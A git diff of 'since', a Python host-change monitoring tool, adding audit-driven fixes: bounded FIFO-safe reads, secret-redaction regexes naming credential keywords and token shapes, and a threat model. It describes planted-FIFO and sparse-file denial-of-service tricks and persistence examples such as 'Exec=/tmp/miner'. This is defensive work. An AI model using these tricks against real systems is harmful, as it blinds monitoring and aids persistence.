diff --git a/.gitignore b/.gitignore index 043e260..616b284 100644 --- a/.gitignore +++ b/.gitignore @@ -19,6 +19,8 @@ VPS-security.md CLAUDE.md PENDING.md docs/ +v2_kimi_findings.md +v3_kimi_findings.md # Python build artifacts build/ diff --git a/CHANGELOG.md b/CHANGELOG.md index 1a0b7e1..b134d59 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,128 @@ All notable changes to `since`. Format loosely follows Keep a Changelog. +## [0.4.3] — 2026-07-25 + +Fixes for a **third** independent (Kimi) adversarial audit, which re-verified every v0.4.2 +fix as genuine and then found one new High in the collector layer. Every fix below was +reproduced by execution first and is covered by a regression test (suite 90 → **129**). + +**Security / availability (High):** +- **A planted FIFO or device symlink no longer hangs the daily digest.** Four collectors + (`~/Library/LaunchAgents` plists, XDG `.desktop` entries, and both browser-extension + manifest readers) read glob-matched paths with no regular-file check, so a FIFO — or a + symlink to `/dev/zero` — dropped into any of those *user-writable* directories blocked + `read()` **forever**, inside `take_snapshot()`, before any output, snapshot or + notification: `digest --notify` produced nothing and leaked one hung process per day. + A watchdog that dies silently is the exact failure this tool exists to prevent. + Regression-tested with real FIFOs under a SIGALRM deadline (the harness is self-checked: + it does catch an unguarded read). A non-regular entry in a persistence directory is now + *reported* ("not a regular file"), not silently skipped — such an entry is itself anomalous. +- **Every collector read is now bounded and race-proof (`safe_read_bytes`/`safe_read_text`).** + Auditing the fix above showed a type check alone was not enough: a **2GB sparse file** + planted as a plist costs an attacker nothing to create and drove **4.1GB peak RSS** + (2GB → 62MB after the fix), and a symlink swapped to a FIFO *after* the check re-opened the + hang. Reads now open with `O_NONBLOCK`, verify `S_ISREG` on the **file descriptor** (not the + path, so the check-then-open race cannot be won), and stop at 8MB. Shell history is read + from the *tail* (recency is what attribution needs) starting at a line boundary. Applied to + every plist/`.desktop`/manifest/rc-file/`/etc` read — snapshot output on a real machine is + byte-identical before and after. + +**Secret hygiene / performance (Medium):** +- **`Authorization: ` is now masked.** The v0.4.2 HARD/SOFT key split had swept the + `authoriz` keyword into "always show" to keep `AuthorizedKeysFile` visible, which left a + raw `Authorization:` header (`.curlrc`/`.wgetrc`) printing in cleartext unless it happened + to use the `Basic`/`Bearer`/JWT shapes. Whole-word `authorization` is HARD; the + `Authorized*` sshd directives (absolute *and* relative paths) stay visible. +- **`redact()` cost is now bounded absolutely.** It was linear after v0.4.2 but carried a + ~3–5µs/char constant, and `--json` redacts *every* diff line, so a few hundred KB of long + lines in a tracked rc file stalled the digest for tens of seconds. A shared-keyword linear + pre-filter short-circuits keyword-free lines (40KB: 128ms → 0.4ms) and every line is + capped at 4KB before the regexes run — truncation also fails safe, since the dropped tail + is never printed. The pre-filter and the matcher are generated from one keyword constant + so they cannot drift apart. + +**Correctness (Low):** +- A sudoers **`PASSWD:` tag** no longer hides the command list it prefixes (`PASSWD: + /tmp/miner` was rendered `PASSWD: «redacted»` — the v0.4.2 carve-out covered only + `NOPASSWD:`). Value-shape gated, so a real `PASSWD=` assignment still redacts. +- **XDG autostart entries no longer collide across directories.** Keys were bare basenames, + so `/etc/xdg/autostart/x.desktop` silently overwrote — hid — a planted + `~/.config/autostart/x.desktop`. System entries are now tagged ` (system)` and their undo + hint points at the right directory with `sudo` (it previously pointed `rm` at `~/.config`, + where the file isn't). *One-time effect on Linux: existing `/etc/xdg` entries appear once + as removed+added as the keys change.* +- **Apps in `~/Applications` are trust-checked again.** The v0.4.2 same-name disambiguator + made `_enrich` build `…/Foo (~/Applications).app`, a path that never exists, so + `trust_of()` returned nothing and an unsigned/ad-hoc app there could never escalate to + RED. The new `bare_key()` also restores "why" attribution for tagged keys — a + `foo (cask)`/`foo (snap)` key could never whole-word-match a shell-history line. +- A **corrupt `labels.json`** that is valid JSON of the wrong type (`["a","b"]`) no longer + crashes `since mark` (`TypeError`) or `prune_snapshots` (`AttributeError`) — `load_labels()` + now shape-validates like `safe_load()`. +- `os.geteuid()`/`os.uname()` are no longer called at import, so on Windows the honest + "UNSUPPORTED PLATFORM" notice can actually print instead of a traceback. +- The big-file scan excluded the state directory by *substring*, which also excluded any + sibling directory whose name merely starts with it (`…/since_backup`) — now a path-prefix + match. The Linux browser-extension collector skips the `Temp` staging dir (macOS parity). + +**Docs:** `SECURITY.md` gains an explicit **threat model** — a process running as you can +tamper with the baselines in `~/.local/state/since` and erase its own tracks, and helper +binaries are `PATH`-resolved (the daily job's minimal `PATH` is unaffected). Stale +`CLAUDE.md` state lines corrected. + +## [0.4.2] — 2026-07-25 + +Fixes for a second independent (Kimi) adversarial audit — the v0.3.1 fix round and the +v0.4 Linux code had introduced new bugs — plus a third independent review pass of this very +fix batch, which caught two redaction regressions the batch itself introduced. Each fix is +covered by a regression test (suite now 90 tests). + +**Security / correctness (High):** +- **`redact()` no longer conceals the attacks it exists to surface, and no longer leaks + the secrets it should mask.** The rule is now: a key that *names* a credential + (`password=`, `SSHPASS=`, `_auth=`, `_authToken=`) has its value redacted unconditionally + — including values that begin with `/` (base64 tokens), `$` (crypt/shadow hashes), or `~`; + a key that merely *contains* a directive name (`AuthorizedKeysFile`, `AuthorizedKeysCommandUser`) + keeps its value visible — including the default *relative-path* form `.ssh/authorized_keys` + — so a malicious sshd/sudoers change stays visible. +- **`redact()` is no longer quadratic.** A long attacker-plantable rc-file line stalled the + unattended `digest --notify` for minutes (8.4s @ 20KB → 0.5ms). Key-name runs are bounded. +- **Private-key / PEM bodies are masked on removed (`-`) diff lines too**, not only `+`. +- **Linux XDG autostart is fingerprinted by content hash**, so swapping `Exec=` in an + existing `.desktop` (same `Name=`) is now detected instead of being invisible. + +**Robustness (Medium/Low):** +- Linux proxy detection reads *system* config (`/etc/environment`, `/etc/profile.d`) instead + of the caller's process environment — no more daily false ORANGE from timer-vs-shell. +- `clean()` neutralizes lone UTF-16 surrogates (a non-UTF-8 Linux filename no longer crashes + the report) and now **keeps TAB** (it can't forge a line; stripping it mangled config diffs). +- `redact()` also masks `SSHPASS=`/bare `pass=` values. +- `_write_private` uses `mkstemp` — a stale temp from a crashed run (or reused PID) can't + crash the next write. +- `since ignore` as the first-ever command now creates state at 0700 dir / 0600 file. +- `tilde()` collapses only a *leading* `$HOME`, not every occurrence. +- `/etc/ld.so.preload` (a rootkit hook) is treated as privilege-sensitive so a root/non-root + mismatch can't fabricate an add/remove alarm. +- `--json` now surfaces the "N unreadable snapshot(s) skipped" / baseline note. +- `install.sh` quotes the systemd `ExecStart` (repo paths with spaces) and no longer aborts + under `set -e` on a headless box with no user systemd session (writes units, reports how to + finish). + +**From a fourth pass — a full-tool independent audit of the whole file, and a fifth end-to-end +integration pass through the real pipeline:** +- `~/.curlrc` credentials (`user = "name:password"`, `-u user:pass`) are now redacted — a real + leak in a tracked file that the URL-auth matcher missed, incl. on `+`/`-`-prefixed diff lines + (the integration test caught the prefixed form leaking where the bare-line unit test did not). +- Linux systemd/init.d units now fold their effective `ExecStart` (via `systemctl show`, so + drop-in overrides count) into the fingerprint — an `ExecStart` swap on an enabled unit was + previously invisible (the macOS plist path already content-hashed; now Linux does too). +- Sensitive-file monitoring extended to `/etc/sudoers.d/*`, `cron.{daily,hourly,weekly,monthly}`, + and the cron spool — the standard drop-in locations a real persistence entry would use. +- `since --since ` no longer crashes with an uncaught `OverflowError`. +- `clean()` also strips U+2028/U+2029 (line/paragraph separators); its comment now matches the + code (TAB is kept, by design). + ## [0.4.1] — 2026-07-24 - Linux desktop notifications via `notify-send` (was macOS `osascript` only). diff --git a/README.md b/README.md index 7786e56..13aad72 100644 --- a/README.md +++ b/README.md @@ -110,7 +110,7 @@ since ack # mark current state as normal — start fresh from her since ignore 'listening:com.docker*' # stop alerting on known-noisy things since ignore --list -since snapshot # capture only (what the daily job runs) +since snapshot # capture only, no diff output since digest --notify # diff + desktop notification if 🟠 or worse since list # list saved snapshots (labels shown) since --json # machine-readable, with a max_level field @@ -212,7 +212,7 @@ silent changes visible. ```sh python3 -m pip install pytest -python3 -m pytest # 29 unit tests: diff/severity/time logic, injection-safety, +python3 -m pytest # 129 unit tests: diff/severity/time logic, injection-safety, # privilege guard, corruption tolerance, secret redaction ``` diff --git a/SECURITY.md b/SECURITY.md index 83f701f..6213207 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -25,3 +25,25 @@ Please do **not** open a public issue for an unpatched vulnerability. visibility is by design (see `since caps`). - Snapshots contain sensitive host data and are stored `0600` in `~/.local/state/since`; protecting that directory is the user's responsibility. + +## Threat model — what `since` can and cannot detect + +`since` compares the machine against **its own earlier snapshots**, which live in +`~/.local/state/since` (mode `0700`/`0600`) and are owned by the user who runs it. Two +consequences follow, and neither is fixable from inside the tool: + +- **A process running as you can tamper with the baseline.** It can rewrite, delete or + pre-poison snapshots and the label file so that its own changes never show up as a diff + — the same privilege that lets it install persistence lets it erase the record of having + done so. `since` reports *changes to the system*; it does not attest to the integrity of + its own history. For a baseline an attacker on the box cannot reach, copy snapshots off + the machine (or keep them on append-only/read-only storage) and diff them there. +- **Helper binaries are resolved through `PATH`.** `lsof`, `ss`, `systemctl`, `codesign`, + `brew` and friends are invoked by name, so an interactive run with a hostile `PATH` (say + a fake `lsof` earlier in it) can filter the very output the report is built from. The + installed daily job runs under launchd/systemd with a minimal `PATH` and is not exposed + to a hostile shell environment. + +Also by design: without `sudo` the listener/outbound view is partial and `/etc/sudoers` is +unreadable (`since caps` lists exactly what is and isn't covered), and snapshots taken at +different privilege levels are never compared for those categories. diff --git a/install.sh b/install.sh index b0ad22b..3be09c9 100755 --- a/install.sh +++ b/install.sh @@ -96,7 +96,7 @@ Description=since — daily change digest [Service] Type=oneshot -ExecStart=${PY} ${REPO_DIR}/since.py digest --notify +ExecStart="${PY}" "${REPO_DIR}/since.py" digest --notify EOF cat > "${SYSTEMD_DIR}/since.timer" </dev/null && systemctl --user enable --now since.timer 2>/dev/null; then + echo " enabled systemd user timer: since.timer (output → journalctl --user -u since.service)" + echo " verify with: systemctl --user list-timers since.timer" + else + echo " wrote unit files to ${SYSTEMD_DIR}, but could NOT activate the timer" + echo " (no user systemd session — common on headless boxes). To finish:" + echo " sudo loginctl enable-linger \"\$USER\"" + echo " systemctl --user daemon-reload && systemctl --user enable --now since.timer" + fi fi else echo " skipped daily job — run 'since snapshot' yourself, or re-run this installer." diff --git a/pyproject.toml b/pyproject.toml index 0a3e9e0..576edea 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "since-cli" -version = "0.4.1" +version = "0.4.3" description = "A plain-language, severity-ranked daily diff of your Mac or Linux box — startup items, listeners, packages, big new files, and edited system files." readme = "README.md" requires-python = ">=3.9" diff --git a/since.py b/since.py index cf1507b..ea569a5 100755 --- a/since.py +++ b/since.py @@ -47,15 +47,18 @@ import hashlib import json import os +import platform as platform_module # hostname without Unix-only os.uname() import re import shlex +import stat import subprocess import sys +import tempfile import time from datetime import datetime, timedelta from pathlib import Path -__version__ = "0.4.1" +__version__ = "0.4.3" SCHEMA_VERSION = 3 if sys.version_info < (3, 9): # uses PEP 585 generics in annotations + os.replace @@ -74,7 +77,10 @@ RED, ORANGE, YELLOW, GREEN = 3, 2, 1, 0 LEVEL_NAME = {RED: "critical", ORANGE: "notable", YELLOW: "minor", GREEN: "info"} -IS_ROOT = (os.geteuid() == 0) +# getattr, not os.geteuid() directly: geteuid/uname are Unix-only, so on win32 the module +# crashed at IMPORT — the honest "UNSUPPORTED PLATFORM" notice never got the chance to print. +EUID = os.geteuid() if hasattr(os, "geteuid") else -1 +IS_ROOT = (EUID == 0) # Collectors whose visibility depends on privilege. Without root, `lsof` on macOS # only shows the current user's own sockets — root-owned/system listeners are hidden. @@ -134,7 +140,92 @@ def human_duration(seconds: float) -> str: def tilde(p: str) -> str: - return p.replace(str(HOME), "~") + # Only collapse a LEADING $HOME — replacing every occurrence turns a path like + # /Users/me/data/Users/me/file into a nonsensical ~/data~/file. + h = str(HOME) + if p == h: + return "~" + if p.startswith(h + os.sep): + return "~" + p[len(h):] + return p + + +MAX_READ = 8 * 1024 * 1024 # plists/.desktop/manifests/rc files are KBs; 8MB is generous + +def safe_read_bytes(path, limit: int | None = None, tail: bool = False): + """Read at most `limit` bytes from a REGULAR file, else None. The ONLY way a collector + may touch a path it found by globbing a user-writable directory, because a plain + `read_bytes()` there is TWO denial-of-service vectors, both free to plant for any + process running as the user, and both fatal to an unattended `digest --notify` (it dies + before printing, saving a snapshot or notifying — a silently blinded watchdog): + * a FIFO — or a symlink to /dev/zero — blocks the read FOREVER. O_NONBLOCK plus an + S_ISREG check on the FD (not on the path, so a check-then-swap race cannot beat it) + makes that impossible. + * a multi-GB SPARSE file costs the attacker nothing to create and cost us its full + length in RAM: a planted 2GB plist measured 4.1GB peak RSS. The read is capped. + `tail=True` reads the LAST `limit` bytes — for shell history, where recency is the point. + `limit` defaults to MAX_READ at CALL time (not definition time), so the cap stays tunable.""" + limit = MAX_READ if limit is None else limit + try: + fd = os.open(path, os.O_RDONLY | getattr(os, "O_NONBLOCK", 0)) + except OSError: + return None + try: + st = os.fstat(fd) + if not stat.S_ISREG(st.st_mode): + return None + cut = tail and st.st_size > limit + if cut: + os.lseek(fd, -limit, os.SEEK_END) + chunks, got = [], 0 + while got < limit: + chunk = os.read(fd, min(1 << 16, limit - got)) + if not chunk: + break + chunks.append(chunk) + got += len(chunk) + data = b"".join(chunks) + # a tailed read lands mid-line; drop that fragment so callers never parse half a + # command as a whole one (it would show up as a bogus `why:` attribution). + return data.partition(b"\n")[2] if cut else data + except OSError: + return None + finally: + os.close(fd) + + +def safe_read_text(path, limit: int | None = None, tail: bool = False): + """safe_read_bytes, decoded as UTF-8 with replacement (never raises). None if unreadable.""" + data = safe_read_bytes(path, limit, tail) + return None if data is None else data.decode("utf-8", "replace") + + +def is_regular(p) -> bool: + """True only for a REGULAR file (symlinks followed) — a cheap pre-filter for candidate + paths. For READING, use safe_read_* instead: this check is racy on its own and says + nothing about size.""" + try: + return Path(p).is_file() + except OSError: + return False + + +# Suffixes WE append to a collector key so same-named items from different sources stay +# distinct (`Foo (cask)` vs the formula, `Foo (~/Applications)` vs /Applications, +# `x.desktop (system)` vs the ~/.config copy). They are part of the key's IDENTITY — but a +# filesystem path (the trust check) or a whole-word history match (attribution) needs the +# PLAIN name: with the suffix, `_enrich` built `…/Foo (~/Applications).app`, a path that +# never exists, so trust_of() returned (None, False) and an unsigned app there never +# escalated to RED. bare_key strips exactly these tags, never a name's own parentheses. +USER_APPS_TAG = " (~/Applications)" +SYS_AUTOSTART_TAG = " (system)" +KEY_TAGS = (USER_APPS_TAG, SYS_AUTOSTART_TAG, " (cask)", " (snap)", " (flatpak)") + +def bare_key(key: str) -> str: + for t in KEY_TAGS: + if key.endswith(t): + return key[:-len(t)] + return key # The tool's INPUT is potentially malware-controlled (plist filenames, process @@ -144,11 +235,16 @@ def tilde(p: str) -> str: # C0 controls + ESC before anything reaches the terminal. # 2. shell/AppleScript injection via the copy-paste `undo:` hints. Never build a # runnable command by string-interpolating an untrusted name; shlex-quote it. -# Strip ALL C0 controls INCLUDING \t \n \r — a newline in an attacker-chosen name -# would otherwise inject extra output lines and forge e.g. a "signature: Apple-signed" -# line or a fake "undo:" command. Also strip DEL/C1 and the Unicode format chars used -# for output spoofing: bidi overrides (Trojan-Source), zero-width chars, and the BOM. -_CTRL_RE = re.compile(r"[\x00-\x1f\x7f-\x9f\u200b-\u200f\u202a-\u202e\u2066-\u2069\ufeff-\ufeff]") +# Strip C0 controls that CAN forge output — \n \r (inject extra lines / a fake +# "signature: Apple-signed" or "undo:" line), ESC, and DEL/C1 — plus the Unicode format +# chars used for output spoofing: bidi overrides (Trojan-Source), zero-width chars, BOM, +# line/paragraph separators (U+2028/U+2029), and lone UTF-16 surrogates (a non-UTF-8 +# Linux filename reaches us via surrogateescape and would otherwise raise +# UnicodeEncodeError when printed, killing the whole report). TAB (\x09) is deliberately +# KEPT: it cannot forge a line, and stripping it mangled tab-indented config diffs. +_CTRL_RE = re.compile( + r"[\x00-\x08\x0a-\x1f\x7f-\x9f\ud800-\udfff" + r"\u200b-\u200f\u2028\u2029\u202a-\u202e\u2066-\u2069\ufeff]") def clean(s) -> str: """Neutralize terminal control/escape/format chars in any attacker-derived string.""" @@ -165,31 +261,117 @@ def q(s: str) -> str: # the token in that line where it can be shoulder-surfed or logged. _PEM_RE = re.compile(r"(?i)-----BEGIN [A-Z ]*PRIVATE KEY-----") # key=value where the key NAME contains a sensitive word — covers underscore forms -# (GITHUB_TOKEN, aws_secret_access_key, API_KEY). Value = REST of line (multi-token), -# so "Authorization: Bearer " doesn't leak the token past the first word. -_KV_RE = re.compile( - r"(?i)([\w.\-]*(?:secret|passwd|password|token|api[_-]?key|access[_-]?key|" - r"client[_-]?secret|private[_-]?key|authoriz|_auth)[\w.\-]*)(\s*[:=]\s*|\s+)(\S.*)$") -_SCHEME_RE = re.compile(r"(?i)\b(bearer|basic)\s+[A-Za-z0-9._~+/=-]{6,}") # auth headers +# (GITHUB_TOKEN, aws_secret_access_key, API_KEY, SSHPASS). Value = REST of line +# (multi-token), so "Authorization: Bearer " doesn't leak the token past the first +# word. Both word-char runs are BOUNDED ({0,64}) — an unbounded `[\w.\-]*` on each side +# is catastrophically quadratic, and a long base64-ish line in a tracked rc file could +# stall the unattended `digest --notify` for minutes (attacker-plantable DoS). +# The keyword alternation is a SHARED constant, interpolated into both the matcher and the +# cheap pre-filter below, so the two can NEVER drift apart — a keyword present in one but +# not the other would silently stop redacting that key (a leak by omission). +_SECRET_KW = (r"secret|pass(?:wd|word|phrase)?|token|api[_-]?key|access[_-]?key|" + r"client[_-]?secret|private[_-]?key|authoriz|_auth|credential") +_KV_RE = re.compile(r"(?i)([\w.\-]{0,64}(?:" + _SECRET_KW + r")[\w.\-]{0,64})" + r"(\s*[:=]\s*|\s+)(\S.*)$") +# Linear, backtrack-free pre-filter. _KV_RE can only match if one of these keywords is +# present, but its bounded `[\w.\-]{0,64}` runs are retried at EVERY offset (~3µs/char) — +# on a long keyword-free word-char line that dominated redact(). Sound by construction: +# any _KV_RE match implies a _KV_KW_RE match on the same line. +_KV_KW_RE = re.compile("(?i)" + _SECRET_KW) +_SCHEME_RE = re.compile(r"(?i)\b(bearer|basic)\s+([A-Za-z0-9._~+/=-]{6,})") # auth headers _URLAUTH_RE = re.compile(r"://([^/\s:@]+):([^/\s@]+)@") # user:pass@host +# curl .curlrc credentials: `user = "name:password"`, `-u name:password`, +# `--proxy-user u:p`. The password is the part after the first colon in the user field — +# NOT a `://…@` URL, so _URLAUTH_RE misses it. Keep the username for context, mask the pass. +# NOTE the anchor allows a leading unified-diff marker (`+`/`-`): redact() runs on diff +# lines, and a bare `(?:^|\s)` would let `+user = "u:pw"` slip through unredacted. +_USERPASS_RE = re.compile( + r'(?i)((?:^|[\s+-])(?:-u|--user|--proxy-user|user|username)\s*=?\s*"?[^"\s:]+:)([^"\s]+)') _TOKEN_RE = re.compile( # standalone tokens r"\bAKIA[0-9A-Z]{16}\b|\bsk_(?:live|test)_[A-Za-z0-9]{8,}\b|\bgh[pousr]_[A-Za-z0-9]{20,}\b|" r"\bxox[baprs]-[A-Za-z0-9-]{8,}\b|\beyJ[A-Za-z0-9_-]{6,}\.[A-Za-z0-9_-]{6,}\.[A-Za-z0-9_-]{6,}\b") _B64LINE_RE = re.compile(r"^[A-Za-z0-9+/]{40,}={0,2}$") # PEM body / raw key +_KW_VALUES = {"yes", "no", "true", "false", "none", "null", "required", + "optional", "default", "auto", "inherit", "prohibit-password"} +# Keys whose VALUE is the credential itself (an assignment `password=…`, `_authToken:…`). +# Distinct from a directive NAME that merely contains "authoriz"/"_auth" +# (`AuthorizedKeysFile`, `AuthorizedKeysCommandUser`) — those we must SHOW. +# `authorization` (whole word) is HARD — an `Authorization: ` header IS the +# credential. It does NOT collide with the SOFT `Authorized*` sshd directives: they +# diverge at index 8 (`authoriza…` vs `authorize…`), so `AuthorizedKeysFile` stays visible. +_HARD_SECRET_RE = re.compile( + r"(?i)(secret|pass(?:wd|word|phrase)?|sshpass|token|api[_-]?key|access[_-]?key|" + r"client[_-]?secret|private[_-]?key|credential|_auth|authorization)") # `_auth` = npm .npmrc basic-auth field +# sudoers TAGS are grants, not secrets: `PASSWD:`/`NOPASSWD:` prefix a COMMAND list +# (`PASSWD: /tmp/miner`, `PASSWD: ALL`) — redacting it hides the very attack we exist to +# show. Deliberately shape-narrow (uppercase tag + colon + command-shaped value) so an +# assignment (`PASSWD=hunter2`) or a YAML-ish `PASSWD: hunter2` still redacts. +_SUDO_TAGS = ("PASSWD", "NOPASSWD") +_REDACT_MAX = 4096 + +def _char_classes(tok: str) -> int: + return sum(bool(re.search(p, tok)) for p in (r"[a-z]", r"[A-Z]", r"[0-9]", r"[^A-Za-z0-9]")) + +def _is_directive_value(tok: str) -> bool: + """A value we must SHOW even under a credential-named key: a filesystem PATH, a shell + var-ref, or a known config KEYWORD. These are exactly the sshd/sudoers changes the + tool exists to surface (`AuthorizedKeysFile /tmp/evil/keys`, `PasswordAuthentication no`).""" + return (tok[:1] in "/~$") or tok.startswith("./") or (tok.lower() in _KW_VALUES) def redact(line: str) -> str: - if _B64LINE_RE.match(line.strip()): - return "«redacted (key material)»" + # Bound the work ABSOLUTELY by capping the input. Every regex below is linear now + # (v2 #1 fixed the quadratic one) but carries a real ~5µs/char constant, and `--json` + # redacts EVERY diff line — a tracked rc file with a few hundred KB of long lines + # (planted, or a generated .zshrc) would stall the unattended digest for tens of + # seconds. Truncating also fails SAFE: the dropped tail is never printed at all, so + # an un-scanned secret can't ride along behind the cap. + if len(line) > _REDACT_MAX: + return (redact(line[:_REDACT_MAX]) + + f" …(+{len(line) - _REDACT_MAX} chars, truncated)") + # PEM body / raw key material on EITHER side of a unified diff. The char class is + # +-agnostic, so strip the one-char diff marker before testing — otherwise a key + # body printed raw on a `-` (removed) line while the `+` line is redacted. + marker = line[0] if line[:1] in "+-" else "" + core = line[1:] if marker else line + if _B64LINE_RE.match(core.strip()): + return f"{marker}«redacted (key material)»" line = _PEM_RE.sub("-----BEGIN PRIVATE KEY----- «redacted»", line) - line = _SCHEME_RE.sub(lambda m: f"{m.group(1)} «redacted»", line) + # only redact a bearer/basic token that is actually high-entropy — plain prose like + # "# basic networking setup" must not become "# basic «redacted» setup". + line = _SCHEME_RE.sub( + lambda m: f"{m.group(1)} «redacted»" if _char_classes(m.group(2)) >= 2 else m.group(0), line) line = _URLAUTH_RE.sub(r"://\1:«redacted»@", line) + line = _USERPASS_RE.sub(r"\1«redacted»", line) line = _TOKEN_RE.sub("«redacted»", line) def _kv(m): - if "nopasswd" in m.group(1).lower(): # sudoers 'NOPASSWD: ALL' is NOT a secret + key, sep, val = m.group(1), m.group(2), m.group(3) + tok = val.split()[0] if val.split() else "" + if "nopasswd" in key.lower(): # sudoers 'NOPASSWD: ALL' is NOT a secret return m.group(0) - return f"{m.group(1)}{m.group(2)}«redacted»" - return _KV_RE.sub(_kv, line) + # sudoers `PASSWD: ` — same carve-out, value-shape gated (_SUDO_TAGS) + if key in _SUDO_TAGS and ":" in sep and (tok.upper() == "ALL" or tok[:1] in "/!"): + return m.group(0) + if _HARD_SECRET_RE.search(key): + # The key literally NAMES a credential, so the value IS the secret. + # An assignment (`password=…`, `_auth:…`, `SSHPASS=…`) redacts UNCONDITIONALLY: + # a token can begin with '/' (base64 alphabet) or '$' (a crypt/shadow hash), so + # a "first char looks like a path/var-ref" test would leak it. A whitespace + # separator is prose or a pam/login.defs directive (`password required …`, + # `PASS_MAX_DAYS 99999`) — show short/keyword/single-class values, redact only + # a credential-shaped one (`password hunter2mixed`). + if (":" in sep) or ("=" in sep): + return f"{key}{sep}«redacted»" + if _is_directive_value(tok) or len(tok) < 6 or _char_classes(tok) < 2: + return m.group(0) + return f"{key}{sep}«redacted»" + # SOFT: the key only CONTAINS a directive name (`AuthorizedKeysFile`, + # `AuthorizedKeysCommandUser`, `Authorization`). Its value is a path (absolute OR + # relative like `.ssh/authorized_keys`), a username, or a keyword — real token + # shapes were already masked by the regexes above. SHOW it, so a malicious + # AuthorizedKeys* change stays visible (the whole point of #2). + return m.group(0) + return _KV_RE.sub(_kv, line) if _KV_KW_RE.search(line) else line # --------------------------------------------------------------------------- @@ -249,7 +431,10 @@ def load_history() -> list[str]: try: if not p.is_file(): continue - lines = p.read_text("utf-8", "replace").splitlines()[-6000:] + text = safe_read_text(p, tail=True) # bounded: a huge history must not OOM us + if text is None: + continue + lines = text.splitlines()[-6000:] for ln in lines: # zsh extended history: ": 1690000000:0;the command" m = re.match(r"^: \d+:\d+;(.*)$", ln) @@ -295,10 +480,18 @@ def _mac_launch_items(): for p in sorted(d.glob("*.plist")): # Fingerprint by CONTENT hash, not mtime: catches a swapped plist that # preserved mtime (cp -p) and ignores a bare `touch` (mtime-only change). + # A non-regular entry is REPORTED, not skipped: reading it would hang + # (see is_regular), but a FIFO/device in LaunchAgents is itself anomalous + # and must stay visible in the highest-signal persistence category. + if not is_regular(p): + out[tilde(str(p))] = "not a regular file (not read)" + continue + data = safe_read_bytes(p) try: - fp = f"{p.stat().st_size}:{sha(p.read_bytes().decode('latin-1'))}" + fp = (f"{p.stat().st_size}:{sha(data.decode('latin-1'))}" if data is not None + else f"{p.stat().st_size}:?") except Exception: - fp = f"{p.stat().st_size}:?" + fp = "?:?" out[tilde(str(p))] = fp except Exception: pass @@ -330,10 +523,11 @@ def _mac_browser_extensions(): if ext_id == "Temp": continue name = ext_id - mans = sorted(glob.glob(os.path.join(ext_dir, "*/manifest.json"))) + mans = [m for m in sorted(glob.glob(os.path.join(ext_dir, "*/manifest.json"))) + if is_regular(m)] # a FIFO manifest would hang the read forever if mans: try: - man = json.loads(Path(mans[-1]).read_text("utf-8", "replace")) + man = json.loads(safe_read_text(mans[-1]) or "") n = man.get("name", "") if n and not n.startswith("__MSG_"): name = n @@ -445,7 +639,7 @@ def _mac_applications(): if entry.endswith(".app"): # disambiguate ~/Applications from /Applications so a same-named # app in both doesn't silently overwrite the other - name = entry[:-4] if base == "/Applications" else f"{entry[:-4]} (~/Applications)" + name = entry[:-4] if base == "/Applications" else f"{entry[:-4]}{USER_APPS_TAG}" res[name] = base except Exception: pass @@ -475,36 +669,83 @@ def _none(): return {} +SYS_AUTOSTART_DIR = Path("/etc/xdg/autostart") # module-level so tests can point it at a tmp dir + def _linux_autostart(): """XDG autostart .desktop entries — the Linux 'login items' equivalent.""" res = {} - for base in (HOME / ".config/autostart", Path("/etc/xdg/autostart")): + for base in (HOME / ".config/autostart", SYS_AUTOSTART_DIR): + # The two dirs hold same-named files (`x.desktop` exists in both), so a bare + # basename key let the SYSTEM entry silently overwrite the USER one — hiding a + # planted ~/.config/autostart entry behind a benign system copy. Tag the system + # side; the user side keeps the plain basename (and `undo_hint` keys off the tag + # to point `rm` at the right directory, with sudo). + tag = SYS_AUTOSTART_TAG if base == SYS_AUTOSTART_DIR else "" for f in sorted(glob.glob(str(base / "*.desktop"))): + key = os.path.basename(f) + tag name = os.path.basename(f) + content = "" + if not is_regular(f): + # reported, not skipped — reading a FIFO here hangs the daily job + res[key] = f"{name} [not a regular file (not read)]" + continue try: - for line in Path(f).read_text("utf-8", "replace").splitlines(): + content = safe_read_text(f) or "" + for line in content.splitlines(): if line.startswith("Name="): name = line.split("=", 1)[1].strip() or name break except Exception: pass - res[os.path.basename(f)] = name + # Fingerprint by CONTENT hash, not Name= alone (parity with the macOS + # plist sibling): swapping Exec=/usr/bin/true → Exec=/tmp/miner in an + # existing entry keeps Name= identical and would otherwise be invisible in + # the highest-signal persistence category. + res[key] = f"{name} [{sha(content)}]" if content else name return res +def _systemctl_execstart(scope, units): + """{unit -> its effective ExecStart line(s)} via ONE batched `systemctl show`. + `show` reflects the LOADED value including `*.service.d/*.conf` drop-in overrides.""" + execs = {} + if not units: + return execs + out = run(["systemctl"] + scope + ["show", "--no-pager", + "--property=Id", "--property=ExecStart"] + units, timeout=15) + for block in out.split("\n\n"): + uid, lines = None, [] + for line in block.splitlines(): + if line.startswith("Id="): + uid = line[3:] + elif line.startswith("ExecStart="): + lines.append(line) + if uid: + execs[uid] = "\n".join(lines) + return execs + + def _linux_services(): """Enabled systemd units (system + user) + legacy init scripts — persistence.""" res = {} for scope, tag in (([], ""), (["--user"], "user:")): out = run(["systemctl"] + scope + ["list-unit-files", "--type=service,timer", "--state=enabled", "--no-legend", "--no-pager"], timeout=15) - for line in out.splitlines(): - parts = line.split() - if parts: - res[f"{tag}{parts[0]}"] = parts[1] if len(parts) > 1 else "enabled" + units = [p[0] for line in out.splitlines() if (p := line.split())] + # Fold each unit's effective ExecStart into the fingerprint — parity with the + # macOS plist / Linux .desktop content hash. A swapped ExecStart (or a drop-in + # override) on an already-enabled unit is otherwise byte-identical here and would + # be invisible in the highest-signal Linux persistence category. + execs = _systemctl_execstart(scope, units) + for u in units: + fp = execs.get(u, "") + res[f"{tag}{u}"] = f"enabled [{sha(fp)}]" if fp else "enabled" for f in sorted(glob.glob("/etc/init.d/*")): if os.path.isfile(f): - res[f] = "init.d" + try: + res[f] = f"init.d [{sha(safe_read_text(f) or '')}]" + except Exception: + res[f] = "init.d" return res @@ -524,11 +765,14 @@ def _linux_browser_extensions(): HOME / ".config/BraveSoftware/Brave-Browser", HOME / ".config/microsoft-edge"): for ext_dir in glob.glob(str(base / "*/Extensions/*")): ext_id = os.path.basename(ext_dir) + if ext_id == "Temp": # parity with the macOS collector (staging dir) + continue name = ext_id - mans = sorted(glob.glob(os.path.join(ext_dir, "*/manifest.json"))) + mans = [m for m in sorted(glob.glob(os.path.join(ext_dir, "*/manifest.json"))) + if 